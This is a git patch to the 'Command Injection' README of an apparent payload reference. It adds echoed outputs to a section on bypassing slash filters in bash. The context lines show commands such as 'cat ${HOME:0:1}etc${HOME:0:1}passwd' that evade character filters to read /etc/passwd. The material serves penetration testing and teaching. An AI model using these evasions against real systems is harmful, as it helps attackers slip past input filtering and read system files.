From bd0c6847b80d72dd9eb47f79be607b9176349ff1 Mon Sep 17 00:00:00 2001 From: Didier Arenzana Date: Thu, 4 Jun 2020 17:26:45 +0200 Subject: [PATCH] clarification in 'bypass character filter' added the results of echo and tr commands for clarification --- Command Injection/README.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/Command Injection/README.md b/Command Injection/README.md index ba3850f..5421c54 100644 --- a/Command Injection/README.md +++ b/Command Injection/README.md @@ -145,12 +145,17 @@ Commands execution without backslash and slash - linux bash ```powershell swissky@crashlab▸ ~ ▸ $ echo ${HOME:0:1} +/ swissky@crashlab▸ ~ ▸ $ cat ${HOME:0:1}etc${HOME:0:1}passwd root:x:0:0:root:/root:/bin/bash swissky@crashlab▸ ~ ▸ $ echo . | tr '!-0' '"-1' +/ + swissky@crashlab▸ ~ ▸ $ tr '!-0' '"-1' <<< . +/ + swissky@crashlab▸ ~ ▸ $ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd root:x:0:0:root:/root:/bin/bash ```